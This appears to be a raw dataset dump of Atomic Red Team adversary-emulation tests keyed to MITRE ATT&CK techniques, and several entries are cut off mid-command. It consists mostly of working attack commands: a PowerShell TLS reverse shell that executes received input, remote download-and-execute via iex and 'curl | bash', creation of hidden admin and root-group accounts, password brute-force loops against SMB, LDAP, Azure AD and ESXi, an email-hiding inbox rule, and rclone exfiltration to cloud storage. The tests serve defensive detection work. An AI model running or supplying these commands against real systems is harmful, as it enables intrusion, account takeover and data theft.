deardaniel/secdata-raw huggingface dataset:
# T1573 - Encrypted Channel

## Description from ATT&CK

> Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

[Source](https://attack.mitre.org/techniques/T1573)

## Atomic Tests

- [Atomic Test #1: OpenSSL C2](#atomic-test-1-openssl-c2)

### Atomic Test #1: OpenSSL C2

Thanks to @OrOneEqualsOne for this quick C2 method.
This is to test to see if a C2 session can be established using an SSL socket.
More information about this technique, including how to set up the listener, can be found here:
https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926

Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.

**Supported Platforms:** Windows

**auto_generated_guid:** `21caf58e-87ad-440c-a6b8-3ac259964003`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| server_ip | IP of the external server | string | 127.0.0.1|
| server_port | The port to connect to on the external server | string | 443|

#### Attack Commands: Run with `powershell`!

```powershell
$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
```
Atomic Red Team — T1573: Encrypted Channel
Test: OpenSSL C2
Platforms: windows
Executor: powershell

Description:
Thanks to @OrOneEqualsOne for this quick C2 method.
This is to test to see if a C2 session can be established using an SSL socket.
More information about this technique, including how to set up the listener, can be found here:
https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926

Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.


Command:
$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).G
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a user account on a Linux system
Platforms: linux
Executor: bash

Description:
Create a user via useradd


Command:
useradd -M -N -r -s /bin/bash -c evil_account #{username}


Cleanup:
userdel #{username}
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a user account on a FreeBSD system
Platforms: linux
Executor: sh

Description:
Create a user via pw


Command:
pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account


Cleanup:
rmuser -y #{username}
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a user account on a MacOS system
Platforms: macos
Executor: bash

Description:
Creates a user on a MacOS system with dscl


Command:
dscl . -create /Users/#{username}
dscl . -create /Users/#{username} UserShell /bin/zsh
dscl . -create /Users/#{username} RealName "#{realname}"
dscl . -create /Users/#{username} UniqueID "1010"
dscl . -create /Users/#{username} PrimaryGroupID 80
dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}


Cleanup:
dscl . -delete /Users/#{username}
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a new user in a command prompt
Platforms: windows
Executor: command_prompt

Description:
Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the
new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"


Command:
net user /add "#{username}" "#{password}"


Cleanup:
net user /del "#{username}" >nul 2>&1
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a new user in PowerShell
Platforms: windows
Executor: powershell

Description:
Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the
new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"


Command:
New-LocalUser -Name "#{username}" -NoPassword


Cleanup:
Remove-LocalUser -Name "#{username}" -ErrorAction Ignore
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a new user in Linux with `root` UID and GID.
Platforms: linux
Executor: bash

Description:
Creates a new user in Linux and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.


Command:
useradd -g 0 -M -d /root -s /bin/bash #{username}
if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;


Cleanup:
userdel #{username}
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a new user in FreeBSD with `root` GID.
Platforms: linux
Executor: sh

Description:
Creates a new user in FreeBSD and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.


Command:
pw useradd #{username} -g 0 -d /root -s /bin/sh
echo "#{password}" | pw usermod #{username} -h 0


Cleanup:
pw userdel #{username}
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a new Windows admin user
Platforms: windows
Executor: command_prompt

Description:
Creates a new admin user in a command prompt.


Command:
net user /add "#{username}" "#{password}"
net localgroup administrators "#{username}" /add


Cleanup:
net user /del "#{username}" >nul 2>&1
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a new Windows admin user via .NET
Platforms: windows
Executor: powershell

Description:
Creates a new admin user in a powershell session without using net.exe


Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')
Atomic Red Team — T1136.001: Create Account: Local Account
Test: Create a Linux user via kubectl in a Pod
Platforms: containers
Executor: bash

Description:
Launches a short-lived Alpine pod and creates a Linux user inside the pod.
The pod is automatically deleted after execution.


Command:
kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- sh -lc 'adduser -D #{username} && id #{username}'


Dependencies:
kubectl must be installed and configured
Atomic Red Team — T1110.001: Brute Force: Password Guessing
Test: Brute Force Credentials of single Active Directory domain users via SMB
Platforms: windows
Executor: command_prompt

Description:
Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller


Command:
echo Password1> passwords.txt
echo 1q2w3e4r>> passwords.txt
echo Password!>> passwords.txt
echo Spring2022>> passwords.txt
echo ChangeMe!>> passwords.txt
@FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\#{user}" "%p" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL
Atomic Red Team — T1110.001: Brute Force: Password Guessing
Test: Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)
Platforms: windows
Executor: powershell

Description:
Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos


Command:
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
  Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
  exit 1
}

[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

$passwordList = Get-Content -Path "#{passwords_path}"
foreach ($password in $passwordList){
  $credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain}")
  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
  try {
    Write-Host " [-] Attempting ${password} on account #{user}."
    $conn.bind()
    # if credentials aren't correct, it will break just above a
Atomic Red Team — T1110.001: Brute Force: Password Guessing
Test: Brute Force Credentials of single Azure AD user
Platforms: azure-ad
Executor: powershell

Description:
Attempt to brute force Azure AD user via AzureAD powershell module.


Command:
Import-Module -Name AzureAD

$passwords = "#{passwords}".split("{`n}")
foreach($password in $passwords) {
  $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
  try {
    Write-Host " [-] Attempting ${password} on account #{username}."
    Connect-AzureAD -Credential $Credential 2>&1> $null
    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
    Write-Host " [!] #{username}:${password} are valid credentials!`r`n"
    break
  } catch {
    Write-Host " [-] #{username}:${password} invalid credentials.`r`n"
  }
}
Write-Host "End of bruteforce"


Dependencies:
AzureAD module must be installed.
Atomic Red Team — T1110.001: Brute Force: Password Guessing
Test: Password Brute User using Kerbrute Tool
Platforms: windows
Executor: powershell

Description:
Bruteforce a single user's password from a wordlist


Command:
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\bruteuser.txt TestUser1 


Dependencies:
kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads

bruteuser.txt must exist in PathToAtomicsFolder\..\ExternalPayloads
Atomic Red Team — T1110.001: Brute Force: Password Guessing
Test: SUDO Brute Force - Debian
Platforms: linux
Executor: bash

Description:
An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user


Command:
useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art
su -c "cd /tmp; curl -s #{remote_url} | bash" art


Cleanup:
userdel -fr art


Dependencies:
Check if running on a Debian based machine.
Atomic Red Team — T1110.001: Brute Force: Password Guessing
Test: SUDO Brute Force - Redhat
Platforms: linux
Executor: bash

Description:
An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user


Command:
useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art
su art
cd /tmp
curl -s #{remote_url} |bash


Cleanup:
userdel -fr art


Dependencies:
Check if running on a Redhat based machine.
Atomic Red Team — T1110.001: Brute Force: Password Guessing
Test: SUDO Brute Force - FreeBSD
Platforms: linux
Executor: bash

Description:
An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user


Command:
pw adduser art -g wheel -s /bin/sh
echo "password123" | pw usermod art -h 0
su art
cd /tmp
curl -s #{remote_url} |bash


Cleanup:
rmuser -y art


Dependencies:
Check if running on a FreeBSD based machine.
Atomic Red Team — T1110.001: Brute Force: Password Guessing
Test: ESXi - Brute Force Until Account Lockout
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to brute force the password of privilleged account for privilege escalation.
In the process, the TA may lock the account, which can be used for detection. [Reference](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/#:~:text=A%20ransomware%20group%20attacking%20large,internal%20systems%20after%20establishing%20a)


Command:
$lockout_threshold = [int]"#{lockout_threshold}"
for ($var = 1; $var -le $lockout_threshold; $var++) {
  #{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002
  }


Dependencies:
The plink executable must be found in the ExternalPayloads folder.
Atomic Red Team — T1059: Command and Scripting Interpreter
Test: AutoIt Script Execution
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.


Command:
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"


Dependencies:
AutoIt executable file must exist on disk at the specified location (#{autoit_path})
Atomic Red Team — T1003.005: OS Credential Dumping: Cached Domain Credentials
Test: Cached Credential Dump via Cmdkey
Platforms: windows
Executor: command_prompt

Description:
List credentials currently stored on the host via the built-in Windows utility cmdkey.exe
Credentials listed with Cmdkey only pertain to the current user
Passwords will not be displayed once they are stored
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey
https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation


Command:
cmdkey /list
# T1003.005 - OS Credential Dumping: Cached Domain Credentials

## Description from ATT&CK

> Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)
> 
> On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)
> 
> On Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix)
> 
> With SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)
> 
> Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)

[Source](https://attack.mitre.org/techniques/T1003/005)

## Atomic Tests

- [Atomic Test #1: Cached Credential Dump via Cmdkey](#atomic-test-1-cached-credential-dump-via-cmdkey)

### Atomic Test #1: Cached Credential Dump via Cmdkey

List credentials currently stored on the host via the built-in Windows utility cmdkey.exe
Credentials listed with Cmdkey only pertain to the current user
Passwords will not be displayed once they are stored
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey
https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation

**Supported Platforms:** Windows

**auto_generated_guid:** `56506854-89d6-46a3-9804-b7fde90791f9`

#### Attack Commands: Run with `command_prompt`!

```cmd
cmdkey /list
```
Atomic Red Team — T1564.008: Hide Artifacts: Email Hiding Rules
Test: New-Inbox Rule to Hide E-mail in M365
Platforms: office-365
Executor: powershell

Description:
This test simulates a user adding an inbox rule in M365 to delete emails with specific keywords in email subject or body.
 Reference: https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf


Command:
Import-Module ExchangeOnlineManagement
$[CREDENTIAL_REDACTED]-SecureString -String "#{auth_password}" -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password
Connect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue
New-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords ("phish","malware","hacked") -Confirm:$false -DeleteMessage:$true


Cleanup:
Import-Module ExchangeOnlineManagement
$[CREDENTIAL_REDACTED]-SecureString -String "#{auth_password}" -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password
Connect-ExchangeOnline -Credential $credential
Remove-Inbo

Dependencies:
ExchangeOnlineManagement module must be installed.
Atomic Red Team — T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage
Test: Exfiltrate data with rclone to cloud Storage - Mega (Windows)
Platforms: windows
Executor: powershell

Description:
This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/


Command:
New-Item #{rclone_config_path}\rclone -ItemType directory
New-Item #{rclone_config_path}\rclone\rclone.conf
cd "#{rclone_path}"
.\rclone.exe config create #{remote_share} mega
set-Content #{rclone_config_path}\rclone\rclone.conf "[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}"
.\rclone.exe copy --max-size 1700k "#{dir_to_copy}" #{remote_share}:test -v


Cleanup:
cd "#{rclone_path}"
.\rclone.exe purge #{remote_share}:test
.\rclone.exe config delete #{remote_share}:
Remove-Item #{rclone_config_path}\rclone -recurse -force -erroraction silentlycontinue
cd c:\
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip"
Remove-Item "PathToAtomicsFolder\..\E

Dependencies:
rclone must exist at (#{rclone_path})
Atomic Red Team — T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage
Test: Exfiltrate data with rclone to cloud Storage - AWS S3
Platforms: linux, macos
Executor: powershell

Description:
This test uses rclone to exfiltrate data to a remote cloud storage instance. (AWS S3)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/


Command:
Write-Host "Deploying AWS infrastructure... " -NoNewLine
$awsAccessKey = "#{aws_access_key}"
$awsSecretKey = "#{aws_secret_key}"
cd PathToAtomicsFolder/T1567.002/src/
if ($awsAccessKey -eq "" -or $awsSecretKey -eq "") {
  $env:AWS_PROFILE = "#{aws_profile}"
} else {
  $env:AWS_ACCESS_KEY_ID = "$awsAccessKey"
  $env:AWS_SECRET_ACCESS_KEY = "$awsSecretKey"
}
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform init
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform apply -var "aws_region=#{aws_region}" -auto-approve
Write-Host "Done!"
Write-Host "Generating rclone config... " -NoNewLine
$config = @"
[exfils3]
type = s3
provider = AWS
env_auth = true
region = #{aws_region}
"@
$config | Out-File -FilePath "PathToAtomicsFolder/../Externa

Cleanup:
Write-Host "Destroying AWS infrastructure... " -NoNewLine
$awsAccessKey = "#{aws_access_key}"
$awsSecretKey = "#{aws_secret_key}"
cd PathToAtomicsFolder/T1567.002/src/
if ($awsAccessKey -eq "" -or $awsSecretKey -eq "") {
  $env:AWS_PROFILE = "#{aws_profile}"
} else {
  $env:AWS_ACCESS_KEY_ID = "$aws

Dependencies:
rclone must exist at (#{rclone_path})

terraform must exist at (#{terraform_path})
Must provide a valid directory or file path to exfiltrate to AWS S3
Atomic Red Team — T1518: Software Discovery
Test: Find and Display Internet Explorer Browser Version
Platforms: windows
Executor: command_prompt

Description:
Query the registry to determine the version of internet explorer installed on the system.
Upon execution, version information about internet explorer will be displayed.


Command:
reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion
Atomic Red Team — T1518: Software Discovery
Test: Applications Installed
Platforms: windows
Executor: powershell

Description:
Query the registry to determine software and versions installed on the system. Upon execution a table of
software name and version information will be displayed.


Command:
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize